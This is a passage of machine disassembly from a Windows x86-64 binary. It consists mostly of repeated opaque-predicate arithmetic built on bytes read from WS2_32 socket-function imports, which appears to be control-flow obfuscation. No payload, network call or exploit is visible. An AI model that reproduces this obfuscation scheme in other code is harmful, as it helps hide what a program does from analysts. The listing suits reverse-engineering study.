je 0x14008e965
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si eax, xmm0
mov dword [rbp + 0x6f], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008ea12
call fcn.1400028f0
movsx ebx, byte [0x14037c72b]
movsx ecx, al
imul ebx, ecx
shl ebx, 2
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008ea12
mov r14d, 3
jmp 0x14008ea9d
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx edi, al
imul edi, ebx
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008ea9d
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si r14d, xmm0
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, r14d
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, dword [rbp + 0x6f]
mov dword [rbp + rax*4 - 0x4d], edx
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx edi, al
imul edi, ebx
shl edi, 3
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008f3a1
call fcn.1400028f0
movsx ebx, byte [0x14037c72b]
movsx ecx, al
imul ebx, ecx
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008edd8
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008ebe9
call fcn.1400028f0
movsx ebx, byte [0x14037c72b]
movsx ecx, al
imul ebx, ecx
shl ebx, 2
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008ebe9
mov dword [rbp + 0x7f], 3
jmp 0x14008ec76
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx edi, al
imul edi, ebx
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008ec76
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si eax, xmm0
mov dword [rbp + 0x7f], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008ed25
call fcn.1400028f0
movsx ebx, byte [0x14037c72b]
movsx ecx, al
imul ebx, ecx
shl ebx, 2
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008ed25
mov dword [rbp + 0x77], 3
jmp 0x14008edb2
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx edi, al
imul edi, ebx
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008edb2
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si eax, xmm0
mov dword [rbp + 0x77], eax
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, dword [rbp + 0x77]
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, dword [rbp + 0x7f]
mov dword [rbp + rax*4 - 0x4d], edx
call fcn.1400028f0
movsx ebx, byte [0x14037c72b]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008f0ad
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm10
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008eebe
call fcn.1400028f0
movsx ebx, byte [0x14037c72b]
movsx ecx, al
imul ebx, ecx
shl ebx, 2
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008eebe
mov dword [rbp - 0x59], 3
jmp 0x14008ef4b
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx edi, al
imul edi, ebx
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008ef4b
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si eax, xmm0
mov dword [rbp - 0x59], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm10
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008effa
call fcn.1400028f0
movsx ebx, byte [0x14037c72b]
movsx ecx, al
imul ebx, ecx
shl ebx, 2
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008effa
mov dword [rbp - 0x55], 3
jmp 0x14008f087
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx edi, al
imul edi, ebx
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008f087
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si eax, xmm0
mov dword [rbp - 0x55], eax
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, dword [rbp - 0x55]
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, dword [rbp - 0x59]
mov dword [rbp + rax*4 - 0x4d], edx
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
imul ebx, ecx, 7
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008f3a1
mov eax, dword [rbp + 0x67]
sub eax, 0x7a
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008f1ab
call fcn.1400028f0
movsx ebx, byte [0x14037c72b]
movsx ecx, al
imul ebx, ecx
shl ebx, 2
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008f1ab
mov r13d, 3
jmp 0x14008f236
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx edi, al
imul edi, ebx
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008f236
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si r13d, xmm0
mov eax, dword [rbp + 0x67]
sub eax, 0x7a
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008f2f1
call fcn.1400028f0
movsx ebx, byte [0x14037c72b]
movsx ecx, al
imul ebx, ecx
shl ebx, 2
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008f2f1
mov r12d, 3
jmp 0x14008f37c
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx edi, al
imul edi, ebx
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008f37c
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si r12d, xmm0
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, r12d
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, r13d
mov dword [rbp + rax*4 - 0x4d], edx
call fcn.1400028f0
movsx edx, byte [0x14037c72b]
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*2]
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008f66e
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008f487
call fcn.1400028f0
movsx ebx, byte [0x14037c72b]
movsx ecx, al
imul ebx, ecx
shl ebx, 2
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008f487
mov r15d, 3
jmp 0x14008f512
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx edi, al
imul edi, ebx
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008f512
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si r15d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008f5bf
call fcn.1400028f0
movsx ebx, byte [0x14037c72b]
movsx ecx, al
imul ebx, ecx
shl ebx, 2
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008f5bf
mov esi, 3
jmp 0x14008f649
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx edi, al
imul edi, ebx
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008f649
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si esi, xmm0
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, esi
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, r15d
mov dword [rbp + rax*4 - 0x4d], edx
mov eax, dword [rbp + 0x67]
inc eax
mov dword [rbp + 0x67], eax
mov eax, dword [rbp + 0x67]
cmp eax, 1
jb 0x14008e7f0
mov rbx, qword [rbp - 0x49]
mov eax, dword [rbp - 0x4d]
lea r8, [0x1400884f0]
mov rcx, qword [rbx + 0x38]
lea r9, [0x140000000]
mov edx, 1
mov byte [rbp - 0x51], 1
call qword [r9 + rax*8 + 0x371210]
mov rax, qword [0x14033c5c0]
movsd xmm7, qword [0x14033c9e0]
mov qword [rbp - 0x51], rax
test al, al
jne 0x1400905a5
mov dword [rbp + 0x67], 0
mov eax, dword [rbp + 0x67]
mov esi, dword [rbp + 0x67]
mov r14d, dword [rbp + 0x67]
mov r15d, dword [rbp + 0x67]
mov r12d, dword [rbp + 0x67]
mov r13d, dword [rbp + 0x67]
call fcn.1400028f0
movsx edx, byte [0x14037c72a]
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*4]
add ebx, ebx
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008f9c3
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008f7ce
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008f7ce
mov edi, 3
mov dword [rbp + 0x6f], edi
jmp 0x14008f863
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008f860
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si edi, xmm0
mov dword [rbp + 0x6f], edi
jmp 0x14008f863
mov edi, dword [rbp + 0x6f]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008f911
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008f911
mov r15d, 3
jmp 0x14008f99f
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008f99f
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si r15d, xmm0
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, r15d
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, edi
mov dword [rbp + rax*4 - 0x4d], edx
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx edi, al
imul edi, ebx
add edi, edi
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400902ae
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008fcd4
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
